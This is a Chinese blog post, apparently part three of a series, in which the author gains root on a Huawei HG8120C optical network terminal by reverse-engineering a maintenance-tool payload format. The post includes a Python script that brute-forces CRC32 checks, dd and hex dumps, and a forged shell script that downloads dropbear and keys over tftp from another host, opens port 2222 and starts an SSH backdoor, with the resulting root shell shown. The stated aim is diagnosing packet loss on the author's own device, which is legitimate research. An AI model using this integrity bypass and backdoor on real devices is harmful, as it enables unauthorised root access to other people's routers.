Theme Preview

PWN华为HG8120C光猫(三)

由 李晓岚 在 2016年06月18日发表

上一篇博文中,通过抓取分析华为维修使能工具发送到UDP数据包,从中得到了完整的有效载荷payload.bin。粗略浏览 payload.bin 中的字符串,发现可以修改 payload.bin 的内容来执行任意代码。所以,本文就对 payload.bin 的结构进行简单分析,修改并构造我们自己的payload,来达到执行任意代码的目的。

简单天真的尝试

仅仅改变 payload.bin 中的一个字节,看目标设备是否进行合法行检查,于是用二进制编辑器,将脚本中原来的 var_etc_version="" 改成 var_etc_version='',双引号改成单引号,对脚本原来的功能没有影响,也不改变脚本文件大小,保存修改为 payload-mod.bin,并加载到目标设备。

WAP>load pack by tftp svrip 192.168.1.2 remotefile payload-mod.bin
success!
WAP>Software Operation Faild!RetCode=0xf7204039!

被设备拒绝了,没什么意外的。

payload.bin 结构分解

既然设备对有效载荷 payload-mod.bin 进行了完整性检查,想修改并成功运行就必须对文件结构进行分解,找到完整性检验信息,继而修正之。那就先来看看文件头的16进制表示。

payload.bin hex dump

如上图,文件头被填充的 0x00 分隔成了几个部分,并且具有很明显的重复模式。第二部分中,ASCII字符串 file:/var/UpgradeCheck.xml 很像文件名。既然有文件名,就因该有文件数据,想要定义文件数据,通常做法是,一个偏移来确定数据在载荷中的位置,也许还需要一个整数来指定数据长度(如果用相邻两个偏移之差来定义前一个文件的大小就不需要指定长度)。在文件名前面有12个字节的非零数据,当作三个4字节的整数来理解,将其中两个较小的 0x000009940x0000042d 解释成偏移和长度,看起来非常合理。试着这样解释,从载荷中找到这两个数定义的数据如下:

0000990: 0000 0000 3c75 7067 7261 6465 6368 6563  ....<upgradechec
00009a0: 6b3e 0d0a 3c48 6172 6456 6572 4368 6563  k>..<HardVerChec
00009b0: 6b20 4368 6563 6b45 6e61 626c 653d 2230  k CheckEnable="0
00009c0: 223e 0d0a 3c49 6e63 6c75 6465 4c69 7374  ">..<IncludeList
00009d0: 2045 6e61 626c 653d 2231 222f 3e0d 0a3c   Enable="1"/>..<
...
0000d90: 2045 6e61 626c 653d 2230 222f 3e0d 0a3c   Enable="0"/>..<
0000da0: 2f43 6667 4368 6563 6b3e 0d0a 3c2f 7570  /CfgCheck>..</up
0000db0: 6772 6164 6563 6865 636b 3e0d 0a0d 0a0d  gradecheck>.....
0000dc0: 0a1f 8b08 00b6 2287 5300 03ec 5d7b 93d3  ......".S...]{..

数据刚好也是XML片段,符合文件名的 .xml 后缀,并且与前后数据(均包含非可打印字符)的分界也很明显,很好地印证了前面关于偏移和长度的猜测。最后剩下的那四个字节,看起来比较随机,该如何解释呢?想到上一篇中使用 CRC32 来校验 UDP 数据包,而 CRC32 的结果刚好也是四个字节,很自然就想到可能是文件数据的 CRC32 校验信息。

leexiaolan@localhost $ dd if=payload-mod.bin of=UpgradeCheck.xml bs=1 skip=$((0x994)) count=$((0x42d))
1069+0 records in
1069+0 records out
1069 bytes (1.1 kB) copied, 0.00196642 s, 544 kB/s
leexiaolan@localhost $ crc32 UpgradeCheck.xml
52ee2f6d

Bingo! 的确是文件数据的 CRC32 校验信息。更进一步,0x994+0x42d=0xdc1 也和下一个文件的偏移吻合。

有了上面这些信息,那就来修正 payload-mod.bin 中的 CRC32。我们需要修改是这个 duit9rr.sh 文件:

00006c0: 0000 0000 0400 0000 40c0 460e d156 0100  ........@.F..V..
00006d0: c112 0000 6669 6c65 3a2f 746d 702f 6475  ....file:/tmp/du
00006e0: 6974 3972 722e 7368 0000 0000 0000 0000  it9rr.sh........

leexiaolan@localhost $ dd if=payload-mod.bin of=duit9rr.sh bs=1 skip=$((0x156d1)) count=$((0x12c1))
4801+0 records in
4801+0 records out
4801 bytes (4.8 kB) copied, 0.00834645 s, 575 kB/s
leexiaolan@localhost $ crc32 duit9rr.sh
74aae506

用二进制编辑器将正确的 CRC32 写进 payload-mod.bin,加载。

WAP>load pack by tftp svrip 192.168.1.2 remotefile payload-mod.bin
success!
WAP>Software Operation Faild!RetCode=0xf7204039!

还是同样的错误信息。再仔细检查了几遍,没有发现计算错误的地方,估计是除了对包含的文件检验外,还有对整个 payload-mob.bin 的完整性校验。再返回去看 payload.bin 头的16进制信息。在最前面的几十个字节中,除了固定的魔数,看起来像文件长度,数据偏移,文件个数的信息外,还有两个四字节的数据 0xc1ce70770x88f67efc,没什么规律,估计又是某段数据的 CRC32 校验信息。于是就假设其是某段连续数据的 CRC32,由于整个文件不太大(92630字节),暴力枚举看起来可行。

leexiaolan@localhost $ cat findcrc32
#!/usr/bin/env python2

from __future__ import print_function
import sys
import zlib

with open(sys.argv[1], 'rb') as f:
  data = f.read()
expectedCrc32 = int(sys.argv[2], base=0)
for i in xrange(0, len(data)):
  crc32 = 0
  for j in xrange(i, len(data)):
    crc32 = zlib.crc32(data[j], crc32)
    if expectedCrc32 == crc32 & 0xffffffff:
      print('Found at %s[0x%x:0x%x].' % (sys.argv[1], i, j + 1))
      sys.exit(0)

leexiaolan@localhost $ time ./findcrc32 payload.bin 0xc1ce7077
Found at payload.bin[0xc:0x169d6].

real    0m0.432s
user    0m0.427s
sys     0m0.004s
leexiaolan@localhost $ time ./findcrc32 payload.bin 0x88f67efc
Found at payload.bin[0x14:0x994].

real    0m0.039s
user    0m0.034s
sys     0m0.008s

又全中,是我人品太好还是……根据这两个 CRC32 的计算方法,继续修正 payload-mod.bin,加载。

WAP>load pack by tftp svrip 192.168.1.2 remotefile payload-mod.bin
success!
WAP>Software Operation Successful!RetCode=0x0!

看到这Software Operation Successful!RetCode=0x0!,终于成功啦,有点小激动。

root shell

接下来就该测试修改后的脚本的执行情况。将 duit9rr.sh 改成如下脚本:

#!/bin/sh

tftp -g 192.168.1.2 -r dropbear -l /tmp/dropbear
tftp -g 192.168.1.2 -r hostkey -l /tmp/hostkey
tftp -g 192.168.1.2 -r rsa.pub -l /tmp/authorized_keys
iptables -I INPUT -p tcp --dport 2222 -j ACCEPT
chmod 777 /tmp/dropbear
chmod 600 /tmp/authorized_keys
/tmp/dropbear -r /tmp/hostkey -p 2222

这段脚本比原文件内容要短很多,为了避免其它意外,多余字节用空白字符填充,修正上述三个 CRC32 校验值,最终的 payload-mod.bin 就完成了。修改 dropbear 读取 /tmp 文件夹下的公钥文件。加载最终版本的 payload-mod.bin 至目标设备。

WAP>load pack by tftp svrip 192.168.1.2 remotefile payload-mod.bin
success!
WAP>Software Operation Successful!RetCode=0x0!

使用 ssh 连接目标设备:

leexiaolan@localhost $ ssh root@192.168.1.1 -p 2222

BusyBox v1.18.4 (2015-06-27 14:02:58 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

profile close core dump
WAP(Dopra Linux) # id
uid=0(root) gid=0(root) groups=0(root)
WAP(Dopra Linux) # cat /etc/wap/wap_version
V800R015C10SPC189B001

哈哈,root shell 到手了,可以继续最早的问题了,在ONT上抓包,确诊 IPv6-in-IPv4 丢包的问题。待续……

P.S: 解包,重新打包 payload.bin 并修正对应 CRC32 的代码,在整理后完成后,将开源在github

2016-6-23 11:09 更新:源代码已经推送到github

2016-7-3 23:09 更新:获取root shell poc使用的所有文件上传github

标签:ONTPWN路由器固件

comments powered by Disqus